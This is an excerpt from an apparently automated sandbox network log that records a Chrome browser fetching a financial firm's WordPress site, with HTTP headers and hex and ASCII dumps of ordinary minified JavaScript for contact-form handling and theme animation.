2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 73 61 67 65 3a 22 54 68 65 20 72 65 73 70 6f 6e 73 65 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 4a 53 4f 4e 20 72 65 73 70 6f 6e 73 65 2e 22 7d 3b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 66 65 74 63 68 28 6f 7c 7c 63 7c 7c 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2c 7b 2e 2e 2e 70 2c 68 65 61 64 65 72 73 3a 69 2c 62 6f 64 79 3a 6c 7d 29 2e 74 68 65 6e 28 28 65 3d 3e 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 65 29 2e 74 68 65 6e 28 28 65 3d 3e 7b 69 66 28 65 2e 73 74 61 74 75 73 3e 3d 32 30 30 26 26 65 2e 73 74 61 74 75 73 3c 33 30 30 29 72 65 74 75 72 6e 20 65 3b 74 68 72 6f 77 20 65 7d 29 29 2e 74 68 65 6e 28 28 65 3d 3e 7b 69 66 28 32 30 34 3d 3d 3d 65 2e 73 74 61 74 75 73 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 69 66 28 Data Ascii: sage:"The response is not a valid JSON response."};return window.fetch(o\|\|c\|\|window.location.href,{...p,headers:i,body:l}).then((e=>Promise.resolve(e).then((e=>{if(e.status>=200&&e.status<300)return e;throw e})).then((e=>{if(204===e.status)return null;if(
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 74 65 72 28 28 65 3d 3e 7b 6c 65 74 7b 66 69 65 6c 64 3a 74 7d 3d 65 3b 72 65 74 75 72 6e 20 66 2e 69 6e 63 6c 75 64 65 73 28 74 29 7d 29 29 3b 63 6f 6e 73 74 20 6d 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 74 61 74 75 73 22 29 3b 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 74 28 65 2c 22 76 61 6c 69 64 61 74 69 6e 67 22 29 29 2e 74 68 65 6e 28 28 74 3d 3e 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 73 77 76 29 7b 63 6f 6e 73 74 20 74 3d 73 77 76 2e 76 61 6c 69 64 61 74 65 28 70 2c 75 2c 72 29 3b 66 6f 72 28 63 6f 6e 73 74 5b 61 2c 7b 65 72 72 6f 72 3a 6e 2c 76 61 6c 69 64 49 6e 70 75 74 73 3a 72 7d 5d 6f 66 20 74 29 73 28 65 2c 61 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 26 26 63 28 65 2c 61 2c 6e 2c 7b 73 63 6f 70 65 3a 6c 7d 29 2c Data Ascii: ter((e=>{let{field:t}=e;return f.includes(t)}));const m=e.getAttribute("data-status");Promise.resolve(t(e,"validating")).then((t=>{if(void 0!==swv){const t=swv.validate(p,u,r);for(const[a,{error:n,validInputs:r}]of t)s(e,a),void 0!==n&&c(e,a,n,{scope:l}),
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 65 63 74 6f 72 41 6c 6c 28 22 2e 77 70 63 66 37 2d 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 22 29 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 7b 65 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 70 63 66 37 2d 6e 6f 74 2d 76 61 6c 69 64 22 29 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 64 65 73 63 72 69 62 65 64 62 79 22 2c 73 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 2e 73 65 74 43 75 73 74 6f 6d 56 61 6c 69 64 69 74 79 26 26 65 2e 73 65 74 43 75 73 74 6f 6d 56 61 6c 69 64 69 74 79 28 61 29 2c 65 2e 63 6c 6f 73 65 73 74 28 22 2e 75 73 65 2d 66 6c 6f 61 74 69 6e 67 2d 76 61 6c 69 64 61 74 69 6f 6e 2d 74 69 70 22 29 26 26 28 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 66 6f 63 75 73 22 2c 28 65 3d 3e Data Ascii: ectorAll(".wpcf7-form-control").forEach((e=>{e.classList.add("wpcf7-not-valid"),e.setAttribute("aria-describedby",s),"function"==typeof e.setCustomValidity&&e.setCustomValidity(a),e.closest(".use-floating-validation-tip")&&(e.addEventListener("focus",(e=>
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 7b 7d 3b 69 66 28 77 70 63 66 37 2e 62 6c 6f 63 6b 65 64 29 72 65 74 75 72 6e 20 64 28 65 29 2c 76 6f 69 64 20 74 28 65 2c 22 73 75 62 6d 69 74 74 69 6e 67 22 29 3b 63 6f 6e 73 74 20 6f 3d 6e 65 77 20 46 6f 72 6d 44 61 74 61 28 65 29 3b 72 2e 73 75 62 6d 69 74 74 65 72 26 26 72 2e 73 75 62 6d 69 74 74 65 72 2e 6e 61 6d 65 26 26 6f 2e 61 70 70 65 6e 64 28 72 2e 73 75 62 6d 69 74 74 65 72 2e 6e 61 6d 65 2c 72 2e 73 75 62 6d 69 74 74 65 72 2e 76 61 6c 75 65 29 3b 63 6f 6e 73 74 20 73 3d 7b 63 6f 6e 74 61 63 74 46 6f 72 6d 49 64 3a 65 2e 77 70 63 66 37 2e 69 64 2c 70 6c 75 67 69 6e 56 65 72 73 69 6f 6e 3a 65 2e 77 70 63 66 37 2e 70 6c 75 67 69 6e 56 65 72 73 69 6f 6e 2c 63 6f 6e 74 61 63 74 46 6f 72 6d 4c 6f 63 61 6c Data Ascii: ?arguments[1]:{};if(wpcf7.blocked)return d(e),void t(e,"submitting");const o=new FormData(e);r.submitter&&r.submitter.name&&o.append(r.submitter.name,r.submitter.value);const s={contactFormId:e.wpcf7.id,pluginVersion:e.wpcf7.pluginVersion,contactFormLocal
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 62 65 66 6f 72 65 73 75 62 6d 69 74 22 2c 72 29 2c 74 28 6e 2c 22 73 75 62 6d 69 74 74 69 6e 67 22 29 7d 72 65 74 75 72 6e 20 6e 28 65 29 7d 29 29 3b 63 6f 6e 73 74 20 64 3d 65 3d 3e 7b 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 77 70 63 66 37 2d 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2d 77 72 61 70 22 29 2e 66 6f 72 45 61 63 68 28 28 74 3d 3e 7b 74 2e 64 61 74 61 73 65 74 2e 6e 61 6d 65 26 26 73 28 65 2c 74 2e 64 61 74 61 73 65 74 2e 6e 61 6d 65 29 7d 29 29 2c 65 2e 77 70 63 66 37 2e 70 61 72 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 2e 73 63 72 65 65 6e 2d 72 65 61 64 65 72 2d 72 65 73 70 6f 6e 73 65 20 5b 72 6f 6c 65 3d 22 73 74 61 74 75 73 22 5d 27 29 2e 69 6e 6e 65 72 54 65 78 74 3d 22 22 2c 65 2e 71 75 65 72 79 53 65 Data Ascii: beforesubmit",r),t(n,"submitting")}return n(e)}));const d=e=>{e.querySelectorAll(".wpcf7-form-control-wrap").forEach((t=>{t.dataset.name&&s(e,t.dataset.name)})),e.wpcf7.parent.querySelector('.screen-reader-response [role="status"]').innerText="",e.querySe
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 5d 60 29 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 7b 65 2e 76 61 6c 75 65 3d 72 5b 31 5d 7d 29 29 7d 7d 2c 66 3d 28 65 2c 74 29 3d 3e 7b 66 6f 72 28 63 6f 6e 73 74 20 61 20 69 6e 20 74 29 7b 63 6f 6e 73 74 20 6e 3d 74 5b 61 5d 5b 30 5d 2c 72 3d 74 5b 61 5d 5b 31 5d 3b 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 60 2e 77 70 63 66 37 2d 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2d 77 72 61 70 5b 64 61 74 61 2d 6e 61 6d 65 3d 22 24 7b 61 7d 22 5d 60 29 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 7b 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 60 69 6e 70 75 74 5b 6e 61 6d 65 3d 22 24 7b 61 7d 22 5d 60 29 2e 76 61 6c 75 65 3d 22 22 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 77 70 63 66 37 2d 71 75 69 7a 2d 6c 61 62 65 6c 22 29 2e 74 65 78 74 Data Ascii: ]`).forEach((e=>{e.value=r[1]}))}},f=(e,t)=>{for(const a in t){const n=t[a][0],r=t[a][1];e.querySelectorAll(`.wpcf7-form-control-wrap[data-name="${a}"]`).forEach((e=>{e.querySelector(`input[name="${a}"]`).value="",e.querySelector(".wpcf7-quiz-label").text
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 72 28 22 63 68 61 6e 67 65 22 2c 28 74 3d 3e 7b 6c 65 74 20 61 3d 65 2e 76 61 6c 75 65 2e 74 72 69 6d 28 29 3b 61 26 26 21 61 2e 6d 61 74 63 68 28 2f 5e 5b 61 2d 7a 5d 5b 61 2d 7a 30 2d 39 2e 2b 2d 5d 2a 3a 2f 69 29 26 26 2d 31 21 3d 3d 61 2e 69 6e 64 65 78 4f 66 28 22 2e 22 29 26 26 28 61 3d 61 2e 72 65 70 6c 61 63 65 28 2f 5e 5c 2f 2b 2f 2c 22 22 29 2c 61 3d 22 68 74 74 70 3a 2f 2f 22 2b 61 29 2c 65 2e 76 61 6c 75 65 3d 61 7d 29 29 7d 29 29 7d 29 28 74 29 2c 28 65 3d 3e 7b 69 66 28 21 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 77 70 63 66 37 2d 61 63 63 65 70 74 61 6e 63 65 22 29 7c 7c 65 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 77 70 63 66 37 2d 61 63 63 65 70 74 61 6e 63 65 2d 61 73 2d 76 61 6c 69 64 61 74 69 6f 6e 22 Data Ascii: r("change",(t=>{let a=e.value.trim();a&&!a.match(/^[a-z][a-z0-9.+-]*:/i)&&-1!==a.indexOf(".")&&(a=a.replace(/^\/+/,""),a="http://"+a),e.value=a}))}))})(t),(e=>{if(!e.querySelector(".wpcf7-acceptance")\|\|e.classList.contains("wpcf7-acceptance-as-validation"
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 69 6e 69 74 3a 21 30 7d 29 2c 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 77 70 63 66 37 72 65 73 65 74 22 2c 28 65 3d 3e 7b 6e 28 29 7d 29 29 7d 29 28 74 29 2c 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 28 65 3d 3e 7b 77 70 63 66 37 2e 63 61 63 68 65 64 26 26 74 2e 72 65 73 65 74 28 29 7d 29 29 2c 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 72 65 73 65 74 22 2c 28 65 3d 3e 7b 77 70 63 66 37 2e 72 65 73 65 74 28 74 29 7d 29 29 2c 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 73 75 62 6d 69 74 22 2c 28 65 3d 3e 7b 77 70 63 66 37 2e 73 75 62 6d 69 74 28 74 2c 7b 73 75 62 6d 69 74 74 65 72 3a 65 2e 73 75 62 6d 69 74 74 65 72 7d 29 2c 65 2e 70 72 65 76 65 6e 74 44 Data Ascii: init:!0}),t.addEventListener("wpcf7reset",(e=>{n()}))})(t),window.addEventListener("load",(e=>{wpcf7.cached&&t.reset()})),t.addEventListener("reset",(e=>{wpcf7.reset(t)})),t.addEventListener("submit",(e=>{wpcf7.submit(t,{submitter:e.submitter}),e.preventD
2024-04-11 20:34:57 UTC	250	IN	Data Raw: 6f 74 20 73 75 70 70 6f 72 74 20 4e 6f 64 65 4c 69 73 74 2e 66 6f 72 45 61 63 68 28 29 2e 22 29 3a 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 77 69 6e 64 6f 77 2e 46 6f 72 6d 44 61 74 61 28 29 2e 22 29 3a 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 77 69 6e 64 6f 77 2e 66 65 74 63 68 28 29 2e 22 29 3a 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 77 70 63 66 37 2e 61 70 69 20 69 73 20 6e 6f 74 20 64 65 66 69 6e 65 64 2e 22 29 3a 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 77 70 63 66 37 20 69 73 20 6e 6f 74 20 64 65 66 69 6e 65 64 2e 22 29 7d 29 29 7d 28 29 3b Data Ascii: ot support NodeList.forEach()."):console.error("Your browser does not support window.FormData()."):console.error("Your browser does not support window.fetch()."):console.error("wpcf7.api is not defined."):console.error("wpcf7 is not defined.")}))}();

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49778	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:57 UTC	584	OUT	GET /wp-content/themes/x/framework/dist/js/site/x.js?ver=10.4.16 HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:57 UTC	726	IN	HTTP/1.1 200 OK Connection: close Content-Length: 32495 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: application/javascript x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "6617c410-7eef" last-modified: Thu, 11 Apr 2024 11:05:52 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:57 GMT X-Served-By: cache-lga21921-LGA, cache-lga21983-LGA X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867697.261240,VS0,VE47 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 28 28 29 3d 3e 7b 76 61 72 20 24 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3b 76 61 72 20 51 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 47 65 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 3b 76 61 72 20 51 65 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 4e 61 6d 65 73 3b 76 61 72 20 4a 65 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 2c 59 65 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 3b 76 61 72 20 55 65 3d 65 3d 3e 51 28 65 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 3b 76 61 72 20 4b 65 3d 28 65 2c 74 29 3d 3e 28 29 3d 3e 28 74 7c 7c 65 28 Data Ascii: (()=>{var $e=Object.create;var Q=Object.defineProperty;var Ge=Object.getOwnPropertyDescriptor;var Qe=Object.getOwnPropertyNames;var Je=Object.getPrototypeOf,Ye=Object.prototype.hasOwnProperty;var Ue=e=>Q(e,"__esModule",{value:!0});var Ke=(e,t)=>()=>(t\|\|e(
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 26 26 28 63 3d 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 63 29 29 2c 4d 61 74 68 2e 61 62 73 28 69 2d 6f 29 2b 4d 61 74 68 2e 61 62 73 28 73 2d 72 29 3c 64 2e 73 65 6e 73 69 74 69 76 69 74 79 29 72 65 74 75 72 6e 20 70 3d 31 2c 61 3f 76 6f 69 64 20 30 3a 74 2e 63 61 6c 6c 28 68 2c 45 29 3b 69 3d 6f 2c 73 3d 72 2c 63 3d 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 79 28 68 2c 45 29 7d 2c 64 2e 69 6e 74 65 72 76 61 6c 29 7d 75 2e 6f 70 74 69 6f 6e 73 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 45 3d 68 2e 68 61 6e 64 6c 65 46 6f 63 75 73 21 3d 3d 64 2e 68 61 6e 64 6c 65 46 6f 63 75 73 3b 72 65 74 75 72 6e 20 64 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 64 2c 68 29 2c 45 26 26 28 64 2e 68 61 6e 64 6c 65 46 6f 63 75 73 3f Data Ascii: &&(c=clearTimeout(c)),Math.abs(i-o)+Math.abs(s-r)<d.sensitivity)return p=1,a?void 0:t.call(h,E);i=o,s=r,c=setTimeout(function(){y(h,E)},d.interval)}u.options=function(h){var E=h.handleFocus!==d.handleFocus;return d=Object.assign({},d,h),E&&(d.handleFocus?
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 69 6e 67 22 29 2c 65 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 22 2c 74 28 29 7d 29 7d 2c 74 3d 3e 7b 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 68 69 64 64 65 6e 22 2c 22 74 72 75 65 22 29 2c 65 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 60 24 7b 6e 65 28 65 29 7d 70 78 60 2c 4a 28 65 2c 22 78 2d 63 6f 6c 6c 61 70 73 69 6e 67 22 29 2c 65 2e 6f 66 66 73 65 74 48 65 69 67 68 74 2c 65 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 22 2c 72 65 28 65 2c 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 2c 28 29 3d 3e 7b 59 28 65 2c 22 78 2d 63 6f 6c 6c 61 70 73 69 6e 67 22 29 2c 4a 28 65 2c 22 78 2d 63 6f 6c 6c 61 70 73 65 64 22 29 2c 74 28 29 7d 29 7d 29 2c 55 3d 6e 65 77 20 57 65 61 6b 4d 61 70 2c 6e 74 3d 65 3d 3e 28 55 2e 68 61 73 28 65 29 Data Ascii: ing"),e.style.height="",t()})},t=>{e.setAttribute("aria-hidden","true"),e.style.height=`${ne(e)}px`,J(e,"x-collapsing"),e.offsetHeight,e.style.height="",re(e,"transitionend",()=>{Y(e,"x-collapsing"),J(e,"x-collapsed"),t()})}),U=new WeakMap,nt=e=>(U.has(e)
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 78 2d 74 6f 67 67 6c 65 61 62 6c 65 22 29 7d 22 5d 29 60 29 3b 44 28 74 2c 22 78 2d 63 75 72 72 65 6e 74 2d 6c 61 79 65 72 22 29 2c 52 28 74 2c 22 78 2d 70 72 65 76 2d 6c 61 79 65 72 22 29 2c 52 28 65 2c 22 78 2d 63 75 72 72 65 6e 74 2d 6c 61 79 65 72 22 29 2c 61 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 74 28 65 29 7b 6c 65 74 20 74 3d 65 2e 63 6c 6f 73 65 73 74 28 60 75 6c 3a 6e 6f 74 28 5b 64 61 74 61 2d 78 2d 74 6f 67 67 6c 65 61 62 6c 65 3d 22 24 7b 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 78 2d 74 6f 67 67 6c 65 61 62 6c 65 22 29 7d 22 5d 29 60 29 3b 21 69 65 28 74 2c 22 78 2d 70 72 65 76 2d 6c 61 79 65 72 22 29 7c 7c 28 6c 65 28 65 2c 63 65 28 74 29 29 2c 44 28 65 2c 22 78 2d 63 75 72 72 65 6e 74 2d 6c 61 79 65 72 22 29 2c Data Ascii: x-toggleable")}"])`);D(t,"x-current-layer"),R(t,"x-prev-layer"),R(e,"x-current-layer"),ae(e)}function st(e){let t=e.closest(`ul:not([data-x-toggleable="${e.getAttribute("data-x-toggleable")}"])`);!ie(t,"x-prev-layer")\|\|(le(e,ce(t)),D(e,"x-current-layer"),
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 3e 74 2e 68 61 73 28 61 29 2c 72 3d 61 3d 3e 74 2e 64 65 6c 65 74 65 28 61 29 2c 69 3d 61 3d 3e 74 2e 68 61 73 28 61 29 3f 74 2e 67 65 74 28 61 29 3a 65 2c 73 3d 28 61 2c 75 29 3d 3e 76 6f 69 64 20 74 2e 73 65 74 28 61 2c 75 29 2c 6c 3d 28 61 2c 75 29 3d 3e 76 6f 69 64 20 73 28 61 2c 75 28 69 28 61 29 29 29 3b 72 65 74 75 72 6e 20 6e 28 29 2c 7b 67 65 74 3a 69 2c 64 65 6c 3a 72 2c 73 65 74 3a 73 2c 68 61 73 3a 6f 2c 75 70 64 61 74 65 3a 6c 2c 72 65 73 65 74 3a 6e 2c 63 61 63 68 65 3a 28 29 3d 3e 74 7d 7d 2c 6c 74 3d 68 65 28 29 2c 4f 6e 3d 68 65 28 29 3b 76 61 72 20 75 74 3d 65 3d 3e 43 28 77 69 6e 64 6f 77 2c 22 72 76 74 2d 73 63 61 6e 22 2c 28 29 3d 3e 65 28 29 29 2c 66 74 3d 28 65 2c 74 3d 21 31 29 3d 3e 7b 74 26 26 65 28 29 3b 6c 65 74 20 6e 3d 4f 28 Data Ascii: >t.has(a),r=a=>t.delete(a),i=a=>t.has(a)?t.get(a):e,s=(a,u)=>void t.set(a,u),l=(a,u)=>void s(a,u(i(a)));return n(),{get:i,del:r,set:s,has:o,update:l,reset:n,cache:()=>t}},lt=he(),On=he();var ut=e=>C(window,"rvt-scan",()=>e()),ft=(e,t=!1)=>{t&&e();let n=O(
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 2c 75 3d 31 2c 70 3d 7a 2d 31 3b 75 21 3d 3d 70 26 26 72 5b 75 5d 3c 3d 6c 3b 2b 2b 75 29 61 2b 3d 56 3b 2d 2d 75 3b 76 61 72 20 63 3d 28 6c 2d 72 5b 75 5d 29 2f 28 72 5b 75 2b 31 5d 2d 72 5b 75 5d 29 2c 64 3d 61 2b 63 2a 56 2c 6d 3d 62 65 28 64 2c 65 2c 6e 29 3b 72 65 74 75 72 6e 20 6d 3e 3d 76 74 3f 54 74 28 6c 2c 64 2c 65 2c 6e 29 3a 6d 3d 3d 3d 30 3f 64 3a 62 74 28 6c 2c 61 2c 61 2b 56 2c 65 2c 6e 29 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 30 7c 7c 61 3d 3d 3d 31 3f 61 3a 42 28 73 28 61 29 2c 74 2c 6f 29 7d 7d 76 61 72 20 41 74 3d 65 3d 3e 7b 73 77 69 74 63 68 28 65 29 7b 63 61 73 65 22 6c 69 6e 65 61 72 22 3a 72 65 74 75 72 6e 22 63 75 62 69 63 2d 62 65 7a 69 Data Ascii: ){for(var a=0,u=1,p=z-1;u!==p&&r[u]<=l;++u)a+=V;--u;var c=(l-r[u])/(r[u+1]-r[u]),d=a+c*V,m=be(d,e,n);return m>=vt?Tt(l,d,e,n):m===0?d:bt(l,a,a+V,e,n)}return function(a){return a===0\|\|a===1?a:B(s(a),t,o)}}var At=e=>{switch(e){case"linear":return"cubic-bezi
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 30 30 30 2c 20 30 2e 33 32 30 2c 20 31 2e 30 30 30 29 22 29 2c 65 61 73 65 4f 75 74 53 69 6e 65 3a 67 28 22 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 39 30 2c 20 30 2e 35 37 35 2c 20 30 2e 35 36 35 2c 20 31 2e 30 30 30 29 22 29 2c 65 61 73 65 4f 75 74 45 78 70 6f 3a 67 28 22 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 31 39 30 2c 20 31 2e 30 30 30 2c 20 30 2e 32 32 30 2c 20 31 2e 30 30 30 29 22 29 2c 65 61 73 65 4f 75 74 43 69 72 63 3a 67 28 22 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 30 37 35 2c 20 30 2e 38 32 30 2c 20 30 2e 31 36 35 2c 20 31 2e 30 30 30 29 22 29 2c 65 61 73 65 4f 75 74 42 61 63 6b 3a 67 28 22 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 31 37 35 2c 20 30 2e 38 38 35 2c 20 30 2e 33 32 30 2c 20 31 2e 32 37 35 29 22 29 2c 65 61 Data Ascii: 000, 0.320, 1.000)"),easeOutSine:g("cubic-bezier(0.390, 0.575, 0.565, 1.000)"),easeOutExpo:g("cubic-bezier(0.190, 1.000, 0.220, 1.000)"),easeOutCirc:g("cubic-bezier(0.075, 0.820, 0.165, 1.000)"),easeOutBack:g("cubic-bezier(0.175, 0.885, 0.320, 1.275)"),ea
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 65 6e 74 29 2c 74 68 69 73 2e 63 61 6c 6c 62 61 63 6b 3d 65 2e 68 61 6e 64 6c 65 72 2c 74 68 69 73 2e 61 78 69 73 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 68 6f 72 69 7a 6f 6e 74 61 6c 3f 22 68 6f 72 69 7a 6f 6e 74 61 6c 22 3a 22 76 65 72 74 69 63 61 6c 22 2c 74 68 69 73 2e 65 6e 61 62 6c 65 64 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 65 6e 61 62 6c 65 64 2c 74 68 69 73 2e 74 72 69 67 67 65 72 50 6f 69 6e 74 3d 6e 75 6c 6c 2c 74 68 69 73 2e 67 72 6f 75 70 3d 66 2e 47 72 6f 75 70 2e 66 69 6e 64 4f 72 43 72 65 61 74 65 28 7b 6e 61 6d 65 3a 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 67 72 6f 75 70 2c 61 78 69 73 3a 74 68 69 73 2e 61 78 69 73 7d 29 2c 74 68 69 73 2e 63 6f 6e 74 65 78 74 3d 66 2e 43 6f 6e 74 65 78 74 2e 66 69 6e 64 4f 72 43 72 65 61 74 65 42 79 Data Ascii: ent),this.callback=e.handler,this.axis=this.options.horizontal?"horizontal":"vertical",this.enabled=this.options.enabled,this.triggerPoint=null,this.group=f.Group.findOrCreate({name:this.options.group,axis:this.axis}),this.context=f.Context.findOrCreateBy
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 7d 3b 66 2e 76 69 65 77 70 6f 72 74 57 69 64 74 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 57 69 64 74 68 7d 3b 66 2e 61 64 61 70 74 65 72 73 3d 5b 5d 3b 66 2e 64 65 66 61 75 6c 74 73 3d 7b 63 6f 6e 74 65 78 74 3a 77 69 6e 64 6f 77 2c 63 6f 6e 74 69 6e 75 6f 75 73 3a 21 30 2c 65 6e 61 62 6c 65 64 3a 21 30 2c 67 72 6f 75 70 3a 22 64 65 66 61 75 6c 74 22 2c 68 6f 72 69 7a 6f 6e 74 61 6c 3a 21 31 2c 6f 66 66 73 65 74 3a 30 7d 3b 66 2e 6f 66 66 73 65 74 41 6c 69 61 73 65 73 3d 7b 22 62 6f 74 74 6f 6d 2d 69 6e 2d 76 69 65 77 22 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 Data Ascii: documentElement.clientHeight};f.viewportWidth=function(){return document.documentElement.clientWidth};f.adapters=[];f.defaults={context:window,continuous:!0,enabled:!0,group:"default",horizontal:!1,offset:0};f.offsetAliases={"bottom-in-view":function(){re
